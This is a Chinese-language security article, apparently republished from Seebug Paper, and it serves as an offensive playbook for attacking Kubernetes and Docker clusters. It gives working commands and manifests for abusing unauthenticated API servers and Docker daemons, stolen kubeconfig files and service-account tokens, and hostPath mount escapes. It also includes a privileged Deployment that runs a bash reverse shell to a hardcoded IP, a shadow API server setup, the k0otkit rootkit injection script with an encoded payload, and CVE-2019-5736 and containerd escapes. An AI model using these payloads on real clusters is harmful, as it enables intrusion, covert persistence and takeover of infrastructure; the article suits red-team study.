云原生之 Kubernetes 安全
source link: https://paper.seebug.org/1803/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
云原生之 Kubernetes 安全
19小时之前 2021年12月30日 经验心得
作者:深信服千里目安全实验室
原文链接:https://mp.weixin.qq.com/s/8lhmjPtLTlVkS1Q3-6-mHA
随着越来越多企业踏上上云的步伐,在攻防演练中常常碰到云相关的场景,例如:公有云、私有云、混合云、虚拟化集群等。以往渗透路径是「外网突破 -> 提权 -> 权限维持 -> 信息收集 -> 横向移动 -> 循环收集信息」,直到获得重要目标系统。但随着业务上云以及虚拟化技术的引入改变了这种格局,也打开了新的入侵路径,例如:
● 通过虚拟机攻击云管理平台,利用管理平台控制所有机器。
● 通过容器进行逃逸,从而控制宿主机以及横向渗透到K8s Master
节点控制所有容器。
● 利用 KVM-QEMU/
执行逃逸获取宿主机,进入物理网络横向移动控制云平台。
目前互联网上针对云原生场景下的攻击手法大都零零散散,仅有少部分厂商发布过相关矩阵技术,但都没有过多的细节展示,本文基于微软发布的 Kubernetes
威胁矩阵进行扩展,将深入介绍相关的具体攻击方法。
● API Server 未授权访问
● kubelet 未授权访问
● Docker Daemon 公网暴露
● K8s configfile 泄露
API Server未授权访问
API Server
作为 K8s
集群的管理入口,通常使用 8080
和 6443
端口,其中 8080
端口无需认证,6443
端口需要认证且有 TLS
保护。如果开发者使用 8080
端口,并将其暴露在公网上,攻击者就可以通过该端口的 API
,直接对集群下发指令。
另一种场景是运维人员配置不当,将"system:anonymous"
用户绑定到"cluster-admin"
用户组,从而使6443
端口允许匿名用户以管理员权限向集群内部下发指令。
#查看pods
https://192.168.4.110:6443/api/v1/namespaces/default/pods?limit=500
#创建特权容器
https://192.168.4.110:6443/api/v1/namespaces/default/pods/test-4444
{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test-4444\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test-4444\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test-4444","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test-4444","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}
#执行命令
https://192.168.4.110:6443/api/v1/namespace/default/pods/test-4444/exec?command=whoami
创建特权容器详细解释:
创建特权容器Docker Daemon 公网暴露
Docker
以 C/S
模式工作,其中 docker daemon
服务在后台运行,负责管理容器的创建、运行和停止操作。
在Linux
主机上,docker daemon
监听在/var/run/docker.sock
中创建的unix socket
,2375
端口用于未认证的 HTTP
通信,2376
用于可信 HTTPS
通信。
在最初版本安装 Docker
时默认会把 2375
端口对外开放,目前默认只允许本地访问。
管理员开启远程访问的配置如下:
#开启远程访问
vim /lib/systemd/system/docker.service
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375 -containerd=/run/containerd/containerd.sock
Docker Daemon未授权访问的检测与利用:
#探测是否访问未授权访问
curl http://192.168.238.129:2375/info
docker -H tcp://192.168.238.129:2375 info
#推荐使用这种方式,操作方便。
export DOCKER_HOST="tcp://192.168.238.129:2375"
Docker Daemon未授权实战案例:
K8s configfile 泄露
K8s configfile
作为 K8s
集群的管理凭证,其中包含有关 K8s
集群的详细信息(API Server
、登录凭证)。
如果攻击者能够访问到此文件(如办公网员工机器入侵、泄露到 Github
的代码等),就可以直接通过 API Server
接管 K8s
集群,带来风险隐患。
用户凭证保存在 kubeconfig
文件中,kubectl
通过以下顺序来找到 kubeconfig
文件:
-
如果提供了
--kubeconfig
参数,就使用提供的kubeconfig
文件。 -
如果没有提供
--kubeconfig
参数,但设置了环境变量$KUBECONFIG
,则使用该环境变量提供的kubeconfig
文件。 -
如果以上两种情况都没有,
kubectl
就使用默认的kubeconfig
文件$HOME/.kube/config
。
拿到K8s configfile
完整利用流程:
K8s configfile
--> 创建后门Pod/挂载主机路径
--> 通过Kubectl 进入容器
--> 利用挂载目录逃逸
。
#Linux安装kubectl
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
#内容放入config、或指定选项,需要修改Server地址
kubectl --kubeconfig k8s.yaml
#获取已接取的镜像
kubectl get pods --all-namespaces --insecure-skip-tls-verify=true -o jsonpath="{..image}" |tr -s '[[:space:]]' '\n' |sort |uniq -c
#创建Pod pod.yaml,将宿主机根目录挂载host文件
apiVersion: v1
kind: Pod
metadata:
name: test-444
spec:
containers:
- name: test-444
image: nginx:1.14.2
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
type: Directory
#在default命名空间中创建pod
kubectl apply -f pod.yaml -n default --insecure-skip-tls-verify=true
#进入容器中
kubectl exec -it test-444 bash -n default --insecure-skip-tls-verify=true
#切换bash,逃逸成功
cd /host
chroot ./ bash
● 利用Service Account
○ CURL
方式请求
○ kubectl
方式请求
利用Service Account
K8s
集群创建的Pod
中,容器内部默认携带 K8s Service Account
的认证凭据,路径为:/run/secrets/kubernetes.io/serviceaccount/token
如运维配置不当没有设置 RBAC
(基于角色的访问控制),那么攻击者就可以通过 Pod
获取到 Token
进行API Server
认证。
在较低版本 v1.15.11
中, Kubernetes
默认是不会开启 RBAC
控制,从 1.16
版本起,默认启用 RBAC
访问控制策略。从1.18
开始,RBAC
已作为稳定的功能。
下面就是利用 Pod
中的 Toke``` 访问
API Server `的一种场景:
#指向内部 API 服务器主机名
export APISERVER=https://${KUBERNETES_SERVICE_HOST}
#设置 ServiceAccount 令牌的路径
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
#读取 pods 命名空间并将其设置为变量。
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
#读取 ServiceAccount 不记名令牌
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
# CACERT 路径
export CACERT=${SERVICEACCOUNT}/ca.crt
执行以下命令查看当前集群中所有Namespaces。
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces
#写入yaml,创建特权Pod
cat > nginx-pod.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
name: test-444
spec:
containers:
- name: test-444
image: nginx:1.14.2
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
type: Directory
EOF
#创建pod
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -k ${APISERVER}/api/v1/namespaces/default/pods -X POST --header 'content-type: application/yaml' --data-binary @nginx-pod.yaml
#查看信息
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/default/pods/nginx
#执行命令
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespace/default/pods/test-444/exec?command=ls&command=-l
or
api/v1/namespaces/default/pods/nginx-deployment-66b6c48dd5-4djlm/exec?command=ls&command=-l&container=nginx&stdin=true&stdout=true&tty=true
● DaemonSets、Deployments
● Shadow API
● Rootkit
● cronjob持久化
Deployment
创建容器时,通过启用 DaemonSets
、Deployments
,可以使容器和子容器即使被清理掉了也可以恢复,攻击者经常利用这个特性进行持久化,涉及的概念有:
● ReplicationController(RC)
ReplicationController
确保在任何时候都有特定数量的 Pod
副本处于运行状态。
● Replication Set(RS)
Replication Set
简称RS
,官方已经推荐我们使用 RS
和 Deployment
来代替 RC
了,实际上 RS
和 RC
的功能基本一致,目前唯一的一个区别就是RC
只支持基于等式的 selector
。
● Deployment
主要职责和 RC
一样,的都是保证 Pod
的数量和健康,二者大部分功能都是完全一致的,可以看成是一个升级版的 RC
控制器。官方组件 kube-dns
、kube-proxy
也都是使用的Deployment
来管理。
这里使用Deployment
来部署后门
#dep.yaml
apiVersion: apps/v1
kind: Deployment #确保在任何时候都有特定数量的Pod副本处于运行状态
metadata:
name: nginx-deploy
labels:
k8s-app: nginx-demo
spec:
replicas: 3 #指定Pod副本数量
selector:
matchLabels:
app: nginx
template:
metadata:
labels:
app: nginx
spec:
hostNetwork: true
hostPID: true
containers:
- name: nginx
image: nginx:1.7.9
imagePullPolicy: IfNotPresent
command: ["bash"] #反弹Shell
args: ["-c", "bash -i >& /dev/tcp/192.168.238.130/4242 0>&1"]
securityContext:
privileged: true #特权模式
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /
type: Directory
#创建
kubectl create -f dep.yaml
Shadow API Server
如果部署了一个shadow api server
,那么该api server
具有和集群中现在的api server
一致的功能。同时开启了全部k8s
权限,接受匿名请求且不保存审计日志,这将方便攻击者无痕迹的管理整个集群以及进行后续渗透行动。
Shadow API Server
的配置与利用:
配置文件路径:
/etc/systemd/system/kube-apiserver-test.service
#一键部署Shadow apiserver
./cdk run k8s-shadow-apiserver default
#一键部署将在配置文件中添加了如下选项:
--allow-privileged
--insecure-port=9443
--insecure-bind-address=0.0.0.0
--secure-port=9444
--anonymous-auth=true
--authorization-mode=AlwaysAllow
#kcurl访问与利用
./cdk kcurl anonymous get https://192.168.1.44:9443/api/v1/secrets
Rootkit
这里介绍一个 k8s
的 rootkit
,k0otkit
是一种通用的后渗透技术,可用于对 Kubernetes
集群的渗透。使用 k0otkit
,您可以以快速、隐蔽和连续的方式(反向 shell
)操作目标 Kubernetes
集群中的所有节点。
K0otkit
使用到的技术:
●DaemonSet
和Secret
资源(快速持续反弹、资源分离)
● kube-proxy
镜像(就地取材)
● 动态容器注入(高隐蔽性)
● Meterpreter
(流量加密)
● 无文件攻击(高隐蔽性)
#生成k0otkit
./pre_exp.sh
#监听
./handle_multi_reverse_shell.sh
k0otkit.sh
的内容复制到master
执行:
volume_name=cache
mount_path=/var/kube-proxy-cache
ctr_name=kube-proxy-cache
binary_file=/usr/local/bin/kube-proxy-cache
payload_name=cache
secret_name=proxy-cache
secret_data_name=content
ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')
volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')
# create payload secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
name: $secret_name
namespace: kube-system
type: Opaque
data:
$secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA......
# inject malicious container into kube-proxy pod
kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
| sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n hostPath:\n path: /\n type: Directory\n" \
| sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n image: $image\n imagePullPolicy: IfNotPresent\n command: [\"sh\"]\n args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/,; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n env:\n - name: $payload_name\n valueFrom:\n secretKeyRef:\n name: $secret_name\n key: $secret_data_name\n securityContext:\n privileged: true\n volumeMounts:\n - mountPath: $mount_path\n name: $volume_name" \
| kubectl --kubeconfig /root/.kube/config replace -f -
cronjob持久化
CronJob
用于执行周期性的动作,例如备份、报告生成等,攻击者可以利用此功能持久化。
apiVersion: batch/v1
kind: CronJob #使用CronJob对象
metadata:
name: hello
spec:
schedule: "*/1 * * * *" #每分钟执行一次
jobTemplate:
spec:
template:
spec:
containers:
- name: hello
image: busybox
imagePullPolicy: IfNotPresent
command:
- /bin/sh
- -c
- #反弹Shell或者木马
restartPolicy: OnFailure
● 特权容器逃逸
● Docker
漏洞
● Linux Capabilities
逃逸
特权容器逃逸
当容器启动加上--privileged
选项时,容器可以访问宿主机上所有设备。
而K8s配置文件启用了privileged: true
:
spec:
containers:
- name: ubuntu
image: ubuntu:latest
securityContext:
privileged: true
实战案例:
通过漏洞获取WebShell
,查看根目录存在.dockerenv
,可通过fdisk -l
查看磁盘目录,进行挂载目录逃逸:
#Webshell下操作
fdisk -l
mkdir /tmp/test
mount /dev/sda3 /tmp/test
chroot /tmp/test bash
Docker漏洞
这里介绍两个知名的docker
逃逸漏洞。
CVE-2020-15257:
在Containerd 1.3.9
版本之前和1.4.0~1.4.2
版本,使用了--host
网络模式,会造成containerd-shim API
暴露,通过调用API
功能实现逃逸。
Host
模式特点:
● 共享宿主机网络
● 网络性能无损耗
● 各容器网络无隔离
● 网络资源无法分别统计
● 端口管理困难
● 不支持端口映射
#判断是否使用host模式
cat /proc/net/unix | grep 'containerd-shim'
#反弹宿主机的shell到远端服务器
./cdk_linux_386 run shim-pwn reverse 192.168.238.159 4455
CVE-2019-5736:
当runc
动态编译时,会从容器镜像中载入动态链接库,导致加载恶意动态库;当打开/prco/self/exe
即runc
时,会执行恶意动态链接库中的恶意程序,由于恶意程序继承runc
打开的文件句柄,可以通过该文件句柄替换host
上的runc
。
此后,再次执行runc
相关的命令,则会产生逃逸。
版本漏洞:
docker version <=18.09.2
RunC version <=1.0-rc6
利用过程:
#下载POC
https://github.com/Frichetten/CVE-2019-5736-PoC
#编译
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
利用成功是将/etc/shadow
文件复制到/tmp/
目录下
#将编译的main复制到docker容器中,实战是用WebShell上传
docker cp main name:/home
cd /home/
chmod 777 main
./main
#此时等管理员进入容器将触发:
或将第16行改为反弹Shell
,获得宿主机权限。
Capabilities
Capabilities
是Linux
一种安全机制,是在Linux
内核2.2
之后引入的,主要作用是权限更细粒度的控制。容器社区一直在努力将纵深防御、最小权限等理念和原则落地。
目前Docker
已经将Capabilities
黑名单机制改为了默认禁止所有Capabilities
,再以白名单方式赋予容器运行所需的最小权限。
#查看Capabilitiescat
/proc/self/status | grep CapEff
capsh --print
Capabilities
允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等
● cap_sys_ptrace-container
● cap_sys_admin-container
● cap_dac_read_search-container
实际场景不多,逃逸方法参考挂载目录方式。
● 内网扫描
● K8s常用端口探测
● 集群内部网络
集群内网扫描
Kubernetes
的网络中存在4种主要类型的通信
● 同一Pod
内的容器间通信
● 各Pod
彼此间通信
● Pod
与Service
间的通信
● 集群外部的流量与Service
间的通信。
所以和常规内网渗透无区别,nmap
、masscan等
扫描
K8s常用端口探测
集群内部网络
● Flannel
网络插件默认使用10.244.0.0/16
网络
●Calico
默认使用192.168.0.0/16
网络
污点(Taint)横向渗透
污点是K8s
高级调度的特性,用于限制哪些Pod
可以被调度到某一个节点。一般主节点包含一个污点,这个污点是阻止Pod
调度到主节点上面,除非有Pod
能容忍这个污点。而通常容忍这个污点的 Pod
都是系统级别的Pod
,例如kube-system
控制Pod
创建时候的污点来向集群内的节点进行喷射创建。
#Node中查看节点信息
[root@node1 ~]# kubectl get nodes
NAME STATUS ROLES AGE VERSION
192.168.238.129 Ready,SchedulingDisabled master 30d v1.21.0
192.168.238.130 Ready,SchedulingDisabled master 30d v1.21.0
192.168.238.131 Ready node 30d v1.21.0
192.168.238.132 Ready node 30d v1.21.0
#确认Master节点的容忍度
[root@node1 ~]# kubectl describe nodes 192.168.238.130
Name: 192.168.238.130
Roles: master
Labels: beta.kubernetes.io/arch=amd64
beta.kubernetes.io/os=linux
kubernetes.io/arch=amd64
kubernetes.io/hostname=192.168.238.130
kubernetes.io/os=linux
kubernetes.io/role=master
Annotations: flannel.alpha.coreos.com/backend-data: {"VtepMAC":"66:3b:20:6a:eb:ff"}
flannel.alpha.coreos.com/backend-type: vxlan
flannel.alpha.coreos.com/kube-subnet-manager: true
flannel.alpha.coreos.com/public-ip: 192.168.238.130
node.alpha.kubernetes.io/ttl: 0
volumes.kubernetes.io/controller-managed-attach-detach: true
CreationTimestamp: Tue, 14 Sep 2021 17:41:30 +0800
Taints: node.kubernetes.io/unschedulable:NoSchedule
#创建带有容忍参数的Pod
kubectl create -f control-master.yaml
#control-master.yaml内容:
apiVersion: v1
kind: Pod
metadata:
name: control-master-15
spec:
tolerations:
- key: node.kubernetes.io/unschedulable
operator: Exists
effect: NoSchedule
containers:
- name: control-master-15
image: ubuntu:18.04
command: ["/bin/sleep", "3650d"]
volumeMounts:
- name: master
mountPath: /master
volumes:
- name: master
hostPath:
path: /
type: Directory
● 目前黑产团伙通过批量扫描然后利用未授权进行挖矿。
● 当前攻防技术处于初级阶段,但随着云原生攻击武器的发展,攻击门槛也会相应降低。
● 虚拟机/容器逃逸攻击、供应链攻击等新型技术攻击方式,将会呈现出快速增长的趋势,此类攻击难度很高,带来的危害和影响也很大。
● 私有云部署在企业业务生产网,云的底座网络、物理设备与业务网络在同一安全域,大多时候缺乏有效隔离。
● 私有云产品属于定制开发,使用大量第三方组件,会随着时间和安全研究人员的研究而暴露。
-
TeamTNT Targets Kubernetes, Nearly 50,000 IPs Compromised in Worm-like Attack
https://www.trendmicro.com/en_us/research/21/e/teamtnt-targets-kubernetes--nearly-50-000-ips-compromised.html -
Threat matrix for Kubernetes
https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/ -
Kubernetes Attack Surface
https://www.optiv.com/insights/source-zero/blog/kubernetes-attack-surface -
Attack methods and defenses on Kubernetes
https://dione.lib.unipi.gr/xmlui/handle/unipi/12888 -
CVE-2019-5736-Poc
https://github.com/Frichetten/CVE-2019-5736-PoC -
修复Docker操作系统命令注入漏洞公告(CVE-2019-5736)
https://support.huaweicloud.com/bulletin-cce/cce_bulletin_0015.html
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1803/
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK